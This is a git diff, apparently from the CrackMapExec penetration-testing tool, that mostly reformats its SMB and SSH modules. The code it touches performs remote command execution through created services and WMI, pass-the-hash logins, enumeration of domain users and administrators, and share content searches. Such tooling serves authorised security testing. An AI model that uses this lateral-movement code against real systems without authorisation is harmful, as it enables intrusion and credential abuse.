kerberos=self.doKerberos + kerberos=self.doKerberos, + logger=self.logger ) def get_builtin_groups(self): @@ -57,7 +60,7 @@ class SamrFunc: logging.error(f"No Builtin group to query locally on") return - domain_handle = self.samr_query.get_domain_handle('Builtin') + domain_handle = self.samr_query.get_domain_handle("Builtin") groups = self.samr_query.get_domain_aliases(domain_handle) return groups @@ -85,9 +88,9 @@ class SamrFunc: self.get_builtin_groups() if "Administrators" in self.groups: self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}") - domain_handle = self.samr_query.get_domain_handle('Builtin') + domain_handle = self.samr_query.get_domain_handle("Builtin") self.logger.debug(f"Querying group members") - member_sids = self.samr_query.get_alias_members(domain_handle, self.groups['Administrators']) + member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"]) member_names = self.lsa_query.lookup_sids(member_sids) for sid, name in zip(member_sids, member_names): @@ -95,12 +98,21 @@ class SamrFunc: class SAMRQuery: - def __init__(self, username='', password='', domain='', port=445, remote_name='', remote_host='', kerberos=None): + def __init__( + self, + username="", + password="", + domain="", + port=445, + remote_name="", + remote_host="", + kerberos=None, + ): self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__aesKey = None self.__port = port self.__remote_name = remote_name @@ -116,14 +128,14 @@ class SAMRQuery: rpc_transport = transport.SMBTransport( self.__remote_host, self.__port, - r'\samr', + r"\samr", self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, - doKerberos=self.__kerberos + doKerberos=self.__kerberos, ) return rpc_transport @@ -133,10 +145,10 @@ class SAMRQuery: dce = rpc_transport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) - except impacket.nmb.NetBIOSError as e: + except NetBIOSError as e: logging.error(f"NetBIOSError on Connection: {e}") return - except impacket.smbconnection.SessionError as e: + except SessionError as e: logging.error(f"SessionError on Connection: {e}") return return dce @@ -148,51 +160,61 @@ class SAMRQuery: except samr.DCERPCException as e: cme_logger.debug(f"Error while connecting with Samr: {e}") return None - return resp['ServerHandle'] + return resp["ServerHandle"] else: cme_logger.debug(f"Error creating Samr handle") return def get_domains(self): resp = samr.hSamrEnumerateDomainsInSamServer(self.dce, self.server_handle) - domains = resp['Buffer']['Buffer'] + domains = resp["Buffer"]["Buffer"] domain_names = [] for domain in domains: - domain_names.append(domain['Name']) + domain_names.append(domain["Name"]) return domain_names def get_domain_handle(self, domain_name): resp = samr.hSamrLookupDomainInSamServer(self.dce, self.server_handle, domain_name) - resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp['DomainId']) - return resp['DomainHandle'] + resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"]) + return resp["DomainHandle"] def get_domain_aliases(self, domain_handle): resp = samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle) aliases = {} - for alias in resp['Buffer']['Buffer']: - aliases[alias['Name']] = alias['RelativeId'] + for alias in resp["Buffer"]["Buffer"]: + aliases[alias["Name"]] = alias["RelativeId"] return aliases def get_alias_handle(self, domain_handle, alias_id): resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id) - return resp['AliasHandle'] + return resp["AliasHandle"] def get_alias_members(self, domain_handle, alias_id): alias_handle = self.get_alias_handle(domain_handle, alias_id) resp = samr.hSamrGetMembersInAlias(self.dce, alias_handle) member_sids = [] - for member in resp['Members']['Sids']: - member_sids.append(member['SidPointer'].formatCanonical()) + for member in resp["Members"]["Sids"]: + member_sids.append(member["SidPointer"].formatCanonical()) return member_sids class LSAQuery: - def __init__(self, username='', password='', domain='', port=445, remote_name='', remote_host='', kerberos=None): + def __init__( + self, + username="", + password="", + domain="", + port=445, + remote_name="", + remote_host="", + kerberos=None, + logger=None + ): self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__aesKey = None self.__port = port self.__remote_name = remote_name @@ -200,6 +222,7 @@ class LSAQuery: self.__kerberos = kerberos self.dce = self.get_dce() self.policy_handle = self.get_policy_handle() + self.logger = logger def get_transport(self): string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]" @@ -208,7 +231,7 @@ class LSAQuery: rpc_transport.setRemoteHost(self.__remote_host) if self.__kerberos: rpc_transport.set_kerberos(True, None) - if hasattr(rpc_transport, 'set_credentials'): + if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials( self.__username, @@ -228,18 +251,18 @@ class LSAQuery: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) - except impacket.nmb.NetBIOSError as e: + except NetBIOSError as e: self.logger.fail(f"NetBIOSError on Connection: {e}") return None return dce def get_policy_handle(self): resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) - return resp['PolicyHandle'] + return resp["PolicyHandle"] def lookup_sids(self, sids): resp = lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) names = [] - for translated_names in resp['TranslatedNames']['Names']: - names.append(translated_names['Name']) + for translated_names in resp["TranslatedNames"]["Names"]: + names.append(translated_names["Name"]) return names diff --git a/cme/protocols/smb/samruser.py b/cme/protocols/smb/samruser.py index c2510c99..8ac85835 100644 --- a/cme/protocols/smb/samruser.py +++ b/cme/protocols/smb/samruser.py @@ -1,48 +1,44 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -#Stolen from Impacket +# Stolen from Impacket from impacket.dcerpc.v5 import transport, samr from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.nt_errors import STATUS_MORE_ENTRIES -from cme.logger import cme_logger - class UserSamrDump: - KNOWN_PROTOCOLS = { - '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), - '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), + "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139), + "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445), } def __init__(self, connection): - self.logger = cme_logger - self.addr = connection.host if not connection.kerberos else connection.hostname + '.' + connection.domain + self.logger = connection.logger + self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash - self.lmhash = '' - self.nthash = '' + self.lmhash = "" + self.nthash = "" self.aesKey = None self.doKerberos = connection.kerberos self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys() self.users = [] if self.hash is not None: - if self.hash.find(':') != -1: - self.lmhash, self.nthash = self.hash.split(':') + if self.hash.find(":") != -1: + self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash - + if self.password is None: - self.password = '' + self.password = "" def dump(self): - # Try all requested protocols until one works. for protocol in self.protocols: try: @@ -61,7 +57,7 @@ class UserSamrDump: self.lmhash, self.nthash, self.aesKey, - doKerberos=self.doKerberos + doKerberos=self.doKerberos, ) try: self.fetchList(rpctransport) @@ -80,20 +76,29 @@ class UserSamrDump: if resp["ErrorCode"] != 0: raise Exception("Connect error") - resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"], - enumerationContext=0, - preferedMaximumLength=500) + resp2 = samr.hSamrEnumerateDomainsInSamServer( + dce, + serverHandle=resp["ServerHandle"], + enumerationContext=0, + preferedMaximumLength=500, + ) if resp2["ErrorCode"] != 0: raise Exception("Connect error") - resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"], - name=resp2["Buffer"]["Buffer"][0]["Name"]) + resp3 = samr.hSamrLookupDomainInSamServer( + dce, + serverHandle=resp["ServerHandle"], + name=resp2["Buffer"]["Buffer"][0]["Name"], + ) if resp3["ErrorCode"] != 0: raise Exception("Connect error") - resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"], - desiredAccess=samr.MAXIMUM_ALLOWED, - domainId=resp3["DomainId"]) + resp4 = samr.hSamrOpenDomain( + dce, + serverHandle=resp["ServerHandle"], + desiredAccess=samr.MAXIMUM_ALLOWED, + domainId=resp3["DomainId"], + ) if resp4["ErrorCode"] != 0: raise Exception("Connect error") @@ -105,17 +110,21 @@ class UserSamrDump: enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: - resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext) except DCERPCException as e: if str(e).find("STATUS_MORE_ENTRIES") < 0: self.logger.fail("Error enumerating domain user(s)") - break + break resp = e.get_packet() self.logger.success("Enumerated domain user(s)") for user in resp["Buffer"]["Buffer"]: r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"]) info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation) - (username, uid, info_user) = (user["Name"], user["RelativeId"], info["Buffer"]["All"]) + (username, uid, info_user) = ( + user["Name"], + user["RelativeId"], + info["Buffer"]["All"], + ) self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}") self.users.append(user["Name"]) samr.hSamrCloseHandle(dce, r["UserHandle"]) diff --git a/cme/protocols/smb/smbexec.py b/cme/protocols/smb/smbexec.py index 0226d4cf..cc0d7d9e 100755 --- a/cme/protocols/smb/smbexec.py +++ b/cme/protocols/smb/smbexec.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- import os +from os.path import join as path_join from time import sleep from impacket.dcerpc.v5 import transport, scmr from cme.helpers.misc import gen_random_string @@ -10,7 +11,23 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE class SMBEXEC: - def __init__(self, host, share_name, smbconnection, protocol, username='', password='', domain='', doKerberos=False, aesKey=None, kdcHost=None, hashes = None, share = None, port=445): + def __init__( + self, + host, + share_name, + smbconnection, + protocol, + username="", + password="", + domain="", + doKerberos=False, + aesKey=None, + kdcHost=None, + hashes=None, + share=None, + port=445, + logger=cme_logger + ): self.__host = host self.__share_name = "C$" self.__port = port @@ -18,14 +35,14 @@ class SMBEXEC: self.__password = password self.__serviceName = gen_random_string() self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = None self.__batchFile = None - self.__outputBuffer = b'' - self.__shell = '%COMSPEC% /Q /c ' + self.__outputBuffer = b"" + self.__shell = "%COMSPEC% /Q /c " self.__retOutput = False self.__rpctransport = None self.__scmr = None @@ -34,28 +51,35 @@ class SMBEXEC: self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost - self.logger = cme_logger + self.logger = logger if hashes is not None: - #This checks to see if we didn't provide the LM Hash - if hashes.find(':') != -1: - self.__lmhash, self.__nthash = hashes.split(':') + # This checks to see if we didn't provide the LM Hash + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: - self.__password = '' + self.__password = "" - stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host - self.logger.debug('StringBinding %s'%stringbinding) + stringbinding = "ncacn_np:%s[\pipe\svcctl]" % self.__host + self.logger.debug("StringBinding %s" % stringbinding) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) - if hasattr(self.__rpctransport, 'setRemoteHost'): + if hasattr(self.__rpctransport, "setRemoteHost"): self.__rpctransport.setRemoteHost(self.__host) - if hasattr(self.__rpctransport, 'set_credentials'): + if hasattr(self.__rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. - self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,self.__aesKey) + self.__rpctransport.set_credentials( + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() @@ -68,7 +92,7 @@ class SMBEXEC: self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) - self.__scHandle = resp['lpScHandle'] + self.__scHandle = resp["lpScHandle"] def execute(self, command, output=False): self.__retOutput = output @@ -93,31 +117,38 @@ class SMBEXEC: else: command = self.__shell + data - with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: + with open(path_join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) - #command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) + # command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) self.logger.debug("Command to execute: " + command) self.logger.debug(f"Remote service {self.__serviceName} created.") - resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) + resp = scmr.hRCreateServiceW( + self.__scmr, + self.__scHandle, + self.__serviceName, + self.__serviceName, + lpBinaryPathName=command, + dwStartType=scmr.SERVICE_DEMAND_START, + ) service = resp["lpServiceHandle"] try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) except: - pass + pass self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) - self.get_output_remote() + self.get_output_remote() def get_output_remote(self): if self.__retOutput is False: - self.__outputBuffer = '' + self.__outputBuffer = "" return while True: try: @@ -125,15 +156,15 @@ class SMBEXEC: break except Exception as e: print(e) - if str(e).find("STATUS_SHARING_VIOLATION") >=0: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait sleep(2) pass else: - logger.debug(e) + self.logger.debug(e) pass - self.__smbconnection.deleteFile(self.__share, self.__output) + self.__smbconnection.deleteFile(self.__share, self.__output) def execute_fileless(self, data): self.__output = gen_random_string(6) @@ -145,7 +176,7 @@ class SMBEXEC: else: command = self.__shell + data - with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: + with open(path_join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) @@ -154,14 +185,21 @@ class SMBEXEC: self.logger.debug("Command to execute: " + command) self.logger.debug(f"Remote service {self.__serviceName} created.") - resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) + resp = scmr.hRCreateServiceW( + self.__scmr, + self.__scHandle, + self.__serviceName, + self.__serviceName, + lpBinaryPathName=command, + dwStartType=scmr.SERVICE_DEMAND_START, + ) service = resp["lpServiceHandle"] try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) except: - pass + pass self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) @@ -173,7 +211,7 @@ class SMBEXEC: while True: try: - with open(os.path.join("/tmp", "cme_hosted", self.__output), "rb") as output: + with open(path_join("/tmp", "cme_hosted", self.__output), "rb") as output: self.output_callback(output.read()) break except IOError: @@ -182,15 +220,15 @@ class SMBEXEC: def finish(self): # Just in case the service is still created try: - self.__scmr = self.__rpctransport.get_dce_rpc() - self.__scmr.connect() - self.__scmr.bind(scmr.MSRPC_UUID_SCMR) - resp = scmr.hROpenSCManagerW(self.__scmr) - self.__scHandle = resp["lpScHandle"] - resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) - service = resp["lpServiceHandle"] - scmr.hRDeleteService(self.__scmr, service) - scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) - scmr.hRCloseServiceHandle(self.__scmr, service) + self.__scmr = self.__rpctransport.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp["lpScHandle"] + resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) + service = resp["lpServiceHandle"] + scmr.hRDeleteService(self.__scmr, service) + scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(self.__scmr, service) except: pass diff --git a/cme/protocols/smb/smbspider.py b/cme/protocols/smb/smbspider.py index b499a17d..a0aad13a 100755 --- a/cme/protocols/smb/smbspider.py +++ b/cme/protocols/smb/smbspider.py @@ -22,7 +22,17 @@ class SMBSpider: self.content = False self.results = [] - def spider(self, share, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True): + def spider( + self, + share, + folder=".", + pattern=[], + regex=[], + exclude_dirs=[], + depth=None, + content=False, + onlyfiles=True, + ): if regex: try: self.regex = [re.compile(bytes(rx, "utf8")) for rx in regex] @@ -92,9 +102,15 @@ class SMBSpider: for result in filelist: if result.is_directory() and result.get_longname() not in [".", ".."]: if subfolder == "*": - self._spider(subfolder.replace("*", '') + result.get_longname(), depth - 1 if depth else None) + self._spider( + subfolder.replace("*", "") + result.get_longname(), + depth - 1 if depth else None, + ) elif subfolder != "*" and (subfolder[:-2].split("/")[-1] not in self.exclude_dirs): - self._spider(subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None) + self._spider( + subfolder.replace("*", "") + result.get_longname(), + depth - 1 if depth else None, + ) return def dir_list(self, files, path): @@ -104,33 +120,35 @@ class SMBSpider: for pattern in self.pattern: if bytes(result.get_longname().lower(), "utf8").find(bytes(pattern.lower(), "utf8")) != -1: if not self.onlyfiles and result.is_directory(): - self.logger.highlight( - f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]" - ) + self.logger.highlight(f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]") else: - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize())) + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{}]".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), + result.get_filesize(), + ) + ) self.results.append(f"{path}{result.get_longname()}") if self.regex: for regex in self.regex: - if regex.findall(bytes(result.get_longname(), 'utf8')): + if regex.findall(bytes(result.get_longname(), "utf8")): if not self.onlyfiles and result.is_directory(): - self.logger.highlight( - f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]" - ) + self.logger.highlight(f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]") else: - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize())) + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{}]".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), + result.get_filesize(), + ) + ) self.results.append(f"{path}{result.get_longname()}") if self.content: @@ -140,9 +158,14 @@ class SMBSpider: return def search_content(self, path, result): - path = path.replace("*", '') + path = path.replace("*", "") try: - rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.share, access=FILE_READ_DATA) + rfile = RemoteFile( + self.smbconnection, + path + result.get_longname(), + self.share, + access=FILE_READ_DATA, + ) rfile.open() while True: @@ -160,28 +183,34 @@ class SMBSpider: if self.pattern: for pattern in self.pattern: if contents.lower().find(bytes(pattern.lower(), "utf8")) != -1: - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize(), - rfile.tell(), - pattern)) + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), + result.get_filesize(), + rfile.tell(), + pattern, + ) + ) self.results.append(f"{path}{result.get_longname()}") if self.regex: for regex in self.regex: if regex.findall(contents): - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize(), - rfile.tell(), - regex.pattern)) + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), + result.get_filesize(), + rfile.tell(), + regex.pattern, + ) + ) self.results.append(f"{path}{result.get_longname()}") rfile.close() diff --git a/cme/protocols/smb/wmiexec.py b/cme/protocols/smb/wmiexec.py index af52bce2..57c8e2e2 100755 --- a/cme/protocols/smb/wmiexec.py +++ b/cme/protocols/smb/wmiexec.py @@ -12,42 +12,67 @@ from impacket.dcerpc.v5.dtypes import NULL class WMIEXEC: - def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None): + def __init__( + self, + target, + share_name, + username, + password, + domain, + smbconnection, + doKerberos=False, + aesKey=None, + kdcHost=None, + hashes=None, + share=None, + logger=cme_logger + ): self.__target = target self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = None - self.__outputBuffer = b'' + self.__outputBuffer = b"" self.__share_name = share_name - self.__shell = 'cmd.exe /Q /c ' - self.__pwd = 'C:\\' + self.__shell = "cmd.exe /Q /c " + self.__pwd = "C:\\" self.__aesKey = aesKey self.__kdcHost = kdcHost self.__doKerberos = doKerberos self.__retOutput = True - self.logger = cme_logger + self.logger = logger if hashes is not None: - #This checks to see if we didn't provide the LM Hash - if hashes.find(':') != -1: - self.__lmhash, self.__nthash = hashes.split(':') + # This checks to see if we didn't provide the LM Hash + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: - self.__password = '' - self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) - iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + self.__password = "" + self.__dcom = DCOMConnection( + self.__target, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + oxidResolver=True, + doKerberos=self.__doKerberos, + kdcHost=self.__kdcHost, + ) + iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() - self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') + self.__win32Process, _ = iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False): self.__retOutput = output @@ -63,14 +88,14 @@ class WMIEXEC: return self.__outputBuffer def cd(self, s): - self.execute_remote('cd ' + s) - if len(self.__outputBuffer.strip('\r\n')) > 0: - self.__outputBuffer = b'' + self.execute_remote("cd " + s) + if len(self.__outputBuffer.strip("\r\n")) > 0: + self.__outputBuffer = b"" else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.__outputBuffer = b'' + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.__outputBuffer = b"" def output_callback(self, data): self.__outputBuffer += data @@ -118,7 +143,7 @@ class WMIEXEC: def get_output_remote(self): if self.__retOutput is False: - self.__outputBuffer = '' + self.__outputBuffer = "" return while True: @@ -126,12 +151,12 @@ class WMIEXEC: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: - if str(e).find("STATUS_SHARING_VIOLATION") >=0: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait sleep(2) pass else: - #print str(e) + # print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index 5b9343d8..19be4651 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -2,7 +2,6 @@ # -*- coding: utf-8 -*- import logging -import sys from io import StringIO import paramiko @@ -10,7 +9,11 @@ import paramiko from cme.config import process_secret from cme.connection import * from cme.logger import CMEAdapter -from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException +from paramiko.ssh_exception import ( + AuthenticationException, + NoValidConnectionsError, + SSHException, +) class ssh(connection): @@ -20,7 +23,6 @@ class ssh(connection): self.server_os = None super().__init__(args, db, host) - @staticmethod def proto_args(parser, std_parser, module_parser): ssh_parser = parser.add_parser( @@ -31,7 +33,7 @@ class ssh(connection): ssh_parser.add_argument( "--key-file", type=str, - help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase." + help=("Authenticate using the specified private key. Treats the password" " parameter as the key's passphrase."), ) ssh_parser.add_argument( "--port", @@ -40,25 +42,18 @@ class ssh(connection): help="SSH port (default: 22)" ) - cgroup = ssh_parser.add_argument_group( - "Command Execution", - "Options for executing commands" - ) - cgroup.add_argument( - "--no-output", - action="store_true", - help="do not retrieve command output" - ) + cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") + cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument( "-x", metavar="COMMAND", dest="execute", - help="execute the specified command" + help="execute the specified command", ) cgroup.add_argument( "--remote-enum", action="store_true", - help="executes remote commands for enumeration" + help="executes remote commands for enumeration", ) return parser @@ -69,7 +64,7 @@ class ssh(connection): "protocol": "SSH", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) logging.getLogger("paramiko").setLevel(logging.WARNING) @@ -115,7 +110,7 @@ class ssh(connection): self.admin_privs = True return True stdin, stdout, stderr = self.conn.exec_command("sudo -ln | grep 'NOPASSWD: ALL'") - if stdout.read().decode("utf-8").find("NOPASSWD: ALL")!= -1: + if stdout.read().decode("utf-8").find("NOPASSWD: ALL") != -1: self.logger.info(f"Determined user is root via `sudo -ln` command") self.admin_privs = True return True @@ -136,14 +131,24 @@ class ssh(connection): passphrase=password if password != "" else None, pkey=pkey, look_for_keys=False, - allow_agent=False + allow_agent=False, ) if private_key: - cred_id = self.db.add_credential("key", username, password if password != "" else "", key=private_key) + cred_id = self.db.add_credential( + "key", + username, + password if password != "" else "", + key=private_key, + ) else: with open(self.args.key_file, "r") as f: key_data = f.read() - cred_id = self.db.add_credential("key", username, password if password != "" else "", key=key_data) + cred_id = self.db.add_credential( + "key", + username, + password if password != "" else "", + key=key_data, + ) else: self.logger.debug(f"Logging in with password") self.conn.connect( @@ -152,7 +157,7 @@ class ssh(connection): username=username, password=password, look_for_keys=False, - allow_agent=False + allow_agent=False, ) cred_id = self.db.add_credential("plaintext", username, password) @@ -165,7 +170,13 @@ class ssh(connection): if self.args.key_file: self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) else: - self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id) + self.db.add_admin_user( + "plaintext", + username, + password, + host_id=host_id, + cred_id=cred_id, + ) else: stdin, stdout, stderr = self.conn.exec_command("id") output = stdout.read().decode("utf-8") @@ -182,14 +193,14 @@ class ssh(connection): display_shell_access = f" - shell access!" if shell_access else "" - self.logger.success( - f"{username}:{process_secret(password)} {self.mark_pwned()}{highlight(display_shell_access)}" - ) + self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()}{highlight(display_shell_access)}") return True - except (AuthenticationException, NoValidConnectionsError, ConnectionResetError) as e: - self.logger.fail( - f"{username}:{process_secret(password)} {e}" - ) + except ( + AuthenticationException, + NoValidConnectionsError, + ConnectionResetError, + ) as e: + self.logger.fail(f"{username}:{process_secret(password)} {e}") self.client_close() return False except Exception as e: diff --git a/cme/protocols/ssh/database.py b/cme/protocols/ssh/database.py index 353f0609..c1d7650a 100644 --- a/cme/protocols/ssh/database.py +++ b/cme/protocols/ssh/database.py @@ -3,7 +3,11 @@ from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table, select, func, delete -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) import os import configparser @@ 